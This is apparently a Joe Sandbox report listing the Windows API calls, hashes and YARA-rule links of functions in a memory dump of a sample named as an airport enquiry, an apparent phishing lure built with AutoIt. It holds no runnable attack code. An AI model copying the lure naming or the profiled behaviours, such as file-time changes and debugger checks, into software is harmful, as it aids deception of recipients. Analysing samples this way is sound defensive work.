Part of subcall function 00CA03A2: MapVirtualKeyW.USER32(00000012,00000000), ref: 00CA0401

Part of subcall function 00C96259: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00C8FA90), ref: 00C962B4

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00C8FB2D
OleInitialize.OLE32(00000000), ref: 00C8FBAA
CloseHandle.KERNEL32(00000000), ref: 00CC49F2

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 86c755f68724e75697e35c403d88aba3575559af1fc3a00ef46360ead7fe5402
Instruction ID: 1a36961c37d6c9af7e6806ca7277f36c7f5053c74f0fc87f280f8d5c3bbe2daa
Opcode Fuzzy Hash: 86c755f68724e75697e35c403d88aba3575559af1fc3a00ef46360ead7fe5402
Instruction Fuzzy Hash: D78198B89093908FCB84EF79E9486557AE4EB8B718314852AD11FC7762EB31C445CF36

Function 00C843DB Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C84401
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00C844A6
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00C844C3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: bf2e28c286e053b1dfae083e9015edd163a8c0bc7f30a245ff9ef5f740ea5935
Instruction ID: 95be8202c53e90b6cf4c04b8adcefe5c78ce39d0ee9e2874d47d490ef99fd512
Opcode Fuzzy Hash: bf2e28c286e053b1dfae083e9015edd163a8c0bc7f30a245ff9ef5f740ea5935
Instruction Fuzzy Hash: CE3164B15057119FD724EF24D88479BBBE4FB49308F00092EF59AC3351D7B5AA44CB5A

Function 00CA594C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00CA5963

Part of subcall function 00CAA3AB: __NMSG_WRITE.LIBCMT ref: 00CAA3D2
Part of subcall function 00CAA3AB: __NMSG_WRITE.LIBCMT ref: 00CAA3DC

__NMSG_WRITE.LIBCMT ref: 00CA596A

Part of subcall function 00CAA408: GetModuleFileNameW.KERNEL32(00000000,00D443BA,00000104,?,00000001,00000000), ref: 00CAA49A
Part of subcall function 00CAA408: ___crtMessageBoxW.LIBCMT ref: 00CAA548

Part of subcall function 00CA32DF: ___crtCorExitProcess.LIBCMT ref: 00CA32E5
Part of subcall function 00CA32DF: ExitProcess.KERNEL32 ref: 00CA32EE

Part of subcall function 00CA8D68: __getptd_noexit.LIBCMT ref: 00CA8D68

RtlAllocateHeap.NTDLL(01640000,00000000,00000001,00000000,?,?,?,00CA1013,?), ref: 00CA598F

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: af34b5da43ea6445b210703a6d8e8dee27930ade4fd65dd0140212c31fbd2a09
Instruction ID: 8c5127d42f61a43d6d727258e01e64ba1be0910b9413059ef602abf763d07dc7
Opcode Fuzzy Hash: af34b5da43ea6445b210703a6d8e8dee27930ade4fd65dd0140212c31fbd2a09
Instruction Fuzzy Hash: 1D01D235600B17DFE6212B35E852B6F72588F4377CF10402AF510EE2C1DB709E42A665

Function 00CE9B2C Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,00CE97D2,?,?,?,?,?,00000004), ref: 00CE9B45
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00CE97D2,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 00CE9B5B
CloseHandle.KERNEL32(00000000,?,00CE97D2,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00CE9B62

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: 2445cc6a49a86878fca4faae8920bf503396a83e8d0d2f6247a826fb406a07d9
Instruction ID: fd8f7bfd6a2db746e50ea83eb1ce403f10812533c8c16b4b513f644a2a0ae31c
Opcode Fuzzy Hash: 2445cc6a49a86878fca4faae8920bf503396a83e8d0d2f6247a826fb406a07d9
Instruction Fuzzy Hash: 28E08632580314B7D7311B55EC09FCA7B18EB05B71F204120FB28A91E087B1261197A9

Function 00CE8F97 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00CE8FA5

Part of subcall function 00CA2F95: RtlFreeHeap.NTDLL(00000000,00000000,?,00CA9C64), ref: 00CA2FA9
Part of subcall function 00CA2F95: GetLastError.KERNEL32(00000000,?,00CA9C64), ref: 00CA2FBB

_free.LIBCMT ref: 00CE8FB6
_free.LIBCMT ref: 00CE8FC8

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 7ae2d2e3dd28ae231ba4dfbfc9ff98cbdd3434907fe9d12881c55d2a38818b0b
Instruction ID: c94c24bd8feaa1e311fe697fa08c3ffeda2b5477fd127a55d02bda3e739a8d78
Opcode Fuzzy Hash: 7ae2d2e3dd28ae231ba4dfbfc9ff98cbdd3434907fe9d12881c55d2a38818b0b
Instruction Fuzzy Hash: AFE0C2A13087224ECA20A5FDAD00A8327EE0F48350708080DB41DDB142CE24E940A028

Function 00C8AB23 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 00CC002B

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: a613f741453953a7907cda4a6c330a2b12e40e59a485a841ceaa3af3d5a91a57
Instruction ID: a7dfb2ce4620c5ea5db82dac6cb71ae6066d9dbf4a26162e2fb98466c366f554
Opcode Fuzzy Hash: a613f741453953a7907cda4a6c330a2b12e40e59a485a841ceaa3af3d5a91a57
Instruction Fuzzy Hash: BC225974508201CFD724EF14C494B6ABBE1FF45308F29895EE8968B362D731ED81DB86

Function 00C84DD0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C84E1A

Strings

EA06, xrefs: 00CBDCF5

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: 8b0272045b2139b13c403241c4cf42492645820b36737885fe90f48f42f16cb8
Instruction ID: 82f17be50732b1a8439e570af999008a45ebcfb0c8555442d7cccb5a67061668
Opcode Fuzzy Hash: 8b0272045b2139b13c403241c4cf42492645820b36737885fe90f48f42f16cb8
Instruction Fuzzy Hash: 09418F31A046695BCF29BB64C8517BFFFA6AB0130CF284079FC829B182D6718E4497E5

Function 00C8492E Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00C84992

Part of subcall function 00CA35AC: __lock.LIBCMT ref: 00CA35B2
Part of subcall function 00CA35AC: DecodePointer.KERNEL32(00000001,?,00C849A7,00CD81BC), ref: 00CA35BE
Part of subcall function 00CA35AC: EncodePointer.KERNEL32(?,?,00C849A7,00CD81BC), ref: 00CA35C9

Part of subcall function 00C84A5B: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00C84A73
Part of subcall function 00C84A5B: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00C84A88

Part of subcall function 00C83B4C: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00C83B7A
Part of subcall function 00C83B4C: IsDebuggerPresent.KERNEL32 ref: 00C83B8C
Part of subcall function 00C83B4C: GetFullPathNameW.KERNEL32(00007FFF,?,?,00D462F8,00D462E0,?,?), ref: 00C83BFD
Part of subcall function 00C83B4C: SetCurrentDirectoryW.KERNEL32(?), ref: 00C83C81

SystemParametersInfoW.USER32(00002001,00000000,?,00000002), ref: 00C849D2

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: 0dd2fd39e65414d0ecb35d9b77f7ba24f1c136185e7e7bfaea98a8af3ddd0972
Instruction ID: 26025ee85e5582dba2661fcf534f50aac5444cbea318e8398a4ea1d6262d9193
Opcode Fuzzy Hash: 0dd2fd39e65414d0ecb35d9b77f7ba24f1c136185e7e7bfaea98a8af3ddd0972
Instruction Fuzzy Hash: 6211AC71908301ABC700EF68EC8591ABBE8EB96714F00451EF046C33B1DBB09648DBAA

Function 00C85DF9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000,?,00C85981,?,?,?,?), ref: 00C85E27
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,00000000,?,00C85981,?,?,?,?), ref: 00CBE19C

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5dceecb61778df78869f700ca9e1cd62f180ad729c97b36ec372906b13faf4e9
Instruction ID: 1bc03c113ad2f91f9876bec40130a52e780187d1d4dd537ed298a9e144cbd318
Opcode Fuzzy Hash: 5dceecb61778df78869f700ca9e1cd62f180ad729c97b36ec372906b13faf4e9
Instruction Fuzzy Hash: 14017970644708BEF7245E24CC86FA6379CEB0576CF108319BAF55A1E0C6F45E498B54

Function 00CA0FF6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CA594C: __FF_MSGBANNER.LIBCMT ref: 00CA5963
Part of subcall function 00CA594C: __NMSG_WRITE.LIBCMT ref: 00CA596A
Part of subcall function 00CA594C: RtlAllocateHeap.NTDLL(01640000,00000000,00000001,00000000,?,?,?,00CA1013,?), ref: 00CA598F

std::exception::exception.LIBCMT ref: 00CA102C
__CxxThrowException@8.LIBCMT ref: 00CA1041

Part of subcall function 00CA87DB: RaiseException.KERNEL32(?,?,?,00D3BAF8,00000000,?,?,?,?,00CA1046,?,00D3BAF8,?,00000001), ref: 00CA8830

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: eced9a2b7bd787b72abf01f63608a3d235632c0ec799f0e56b16bae4d94f92d3
Instruction ID: ba96646be28531fecb0638e131bb1c9561284efde65b87f41d3a68e27d8b7bdf
Opcode Fuzzy Hash: eced9a2b7bd787b72abf01f63608a3d235632c0ec799f0e56b16bae4d94f92d3
Instruction Fuzzy Hash: 01F0A93550025BA7CB21AA58FC159EF77A89F02358F140415FC1495691DFB18BD496E0

Function 00CA582D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CA585C
__lock_file.LIBCMT ref: 00CA587D

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: cebfdcee8383c7f8159c376b2f0c79d6a1ca6276ce3b8a7188b64b8c15bed91c
Instruction ID: 933ca890c120e0ce646e5fd49286d3c7781e2505115028569ebd0fefbf8acd3f
Opcode Fuzzy Hash: cebfdcee8383c7f8159c376b2f0c79d6a1ca6276ce3b8a7188b64b8c15bed91c
Instruction Fuzzy Hash: C6018471C4060BEFCF22AF698C0559E7B61AF42768F148215F8245A1E1DB358A21EB91

Function 00CA55D6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CA8D68: __getptd_noexit.LIBCMT ref: 00CA8D68

__lock_file.LIBCMT ref: 00CA561B

Part of subcall function 00CA6E4E: __lock.LIBCMT ref: 00CA6E71

__fclose_nolock.LIBCMT ref: 00CA5626

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 64df2a234d53bf2d37ff5be9585fdfeb185356b22b3476d50fbca0c21ec0b590
Instruction ID: 883022f6b3a51a448737eb66c5b482a402b52bacd808ee12260a7036439a46b4
Opcode Fuzzy Hash: 64df2a234d53bf2d37ff5be9585fdfeb185356b22b3476d50fbca0c21ec0b590
Instruction Fuzzy Hash: 51F09071800A079BD720AF759C0676E76A16F4333CF55C209F424AB2C1CF7C8A05AB55

Function 00C92123 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f629f0312496d1f5dfa7dee80978be214cb1063116b545b58616b2b5e9eb96
Instruction ID: 875596632ec756843be04280bcfa3ed502c0c864ad61c838bbfc229a7bd4b12b
Opcode Fuzzy Hash: 35f629f0312496d1f5dfa7dee80978be214cb1063116b545b58616b2b5e9eb96
Instruction Fuzzy Hash: F751A034600604AFCF14FB64C995FBE77A5AF45314F148068F956AB382DB30EE01EB55

Function 00C85C4E Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,00000001,00000000,00000000,?,?,00000000), ref: 00C85CF6

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a029d4694a564c7375a5ac158865afa49e2976c3da61556375b66196af5c9ca6
Instruction ID: 3ffa2d19e72080797c24ea864033d478599884cf193fc8737de6e46cbe4816c5
Opcode Fuzzy Hash: a029d4694a564c7375a5ac158865afa49e2976c3da61556375b66196af5c9ca6
Instruction Fuzzy Hash: 58313C71A00B19AFCB18EF2DC48469DB7B5FF48314F24862AD81993710D7B1AD50DB94

Function 00CC00D6 Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00CC00E1

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 2a3ea1a1a5bb883bd4bec2368364784ad9790cf0564a596b6488b603849f68b3
Instruction ID: 6bff8bfd93a4a97fdbcc1fef606ce2161b4018a0b194671d12f3ec66cb3e9495
Opcode Fuzzy Hash: 2a3ea1a1a5bb883bd4bec2368364784ad9790cf0564a596b6488b603849f68b3
Instruction Fuzzy Hash: FF411574508341CFDB24DF14C484B1ABBE0BF45318F1989ADE8AA8B762C372EC95CB56

Function 00C85B19 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00C85B61

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 45d9751bc9b845b5560437cb370dc9aa8c6d3379ab14484764bb470731025edf
Instruction ID: 91f7a1fc5f3d7763da10cd8f356cd5e31e23918be61f1a73fc07b68cb32f5021
Opcode Fuzzy Hash: 45d9751bc9b845b5560437cb370dc9aa8c6d3379ab14484764bb470731025edf
Instruction Fuzzy Hash: 5921D270A00A09EBDB106F55E8856FE7FB8FF10790F21846AE485D2111EBB095E0E755

Function 00C84F3D Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C84D13: FreeLibrary.KERNEL32(00000000,?), ref: 00C84D4D

Part of subcall function 00CA548B: __wfsopen.LIBCMT ref: 00CA5496

LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,00D462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00C84F6F

Part of subcall function 00C84CC8: FreeLibrary.KERNEL32(00000000), ref: 00C84D02

Part of subcall function 00C84DD0: _memmove.LIBCMT ref: 00C84E1A

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 089316a574793cd5477790825f6eeec9b9921e260cf117ed5be3eeb1317ef9c3
Instruction ID: fb96d886279115f254ae3414fab37551276b6bb9f7dafb721dccec932bdf3437
Opcode Fuzzy Hash: 089316a574793cd5477790825f6eeec9b9921e260cf117ed5be3eeb1317ef9c3
Instruction Fuzzy Hash: 73110A31600306ABCB18FF75CC12FAE77A99F44709F20842DF542E61C1DB759A05AB64

Function 00CC01AF Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00CC01BB

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
